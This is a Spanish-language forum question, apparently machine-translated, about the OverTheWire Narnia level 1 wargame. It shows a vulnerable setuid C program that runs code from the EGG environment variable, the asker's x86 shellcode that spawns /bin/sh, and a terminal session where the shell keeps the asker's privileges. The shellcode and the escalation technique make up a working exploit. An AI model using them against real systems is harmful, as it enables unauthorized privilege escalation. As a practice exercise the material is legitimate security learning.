(Esta es una pregunta relacionada con un desafío en un juego de guerra en overthewire.org llamado Narnia)
Aquí está el código fuente del script vulnerable "narnia1" que intento explotar:
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
Básicamente, ejecuta las cosas almacenadas en la variable de entorno "EGG".
Establecí "EGG" para que sea el código shell como se muestra aquí:
export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'
que ejecuta /bin/sh
.
El propietario de este archivo (narnia1) es "narnia2" como se muestra a continuación, esperamos que la shell se ejecute como "narnia2".
narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x 2 root root 4096 Nov 9 15:08 .
drwxr-xr-x 25 root root 4096 Mar 12 09:58 ..
-r-sr-x--- 1 narnia1 narnia0 7568 Nov 9 15:08 narnia0
-r--r----- 1 narnia0 narnia0 1186 Nov 9 15:08 narnia0.c
-r-sr-x--- 1 narnia2 narnia1 7404 Nov 9 15:08 narnia1
-r--r----- 1 narnia1 narnia1 1000 Nov 9 15:08 narnia1.c
...
Sin embargo, esto es lo que obtuve:
narnia1@narnia:/narnia$ export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1
Y no tengo idea de por qué esto me da una concha como "narnia1" en lugar de "narnia2".
¿Alguna idea?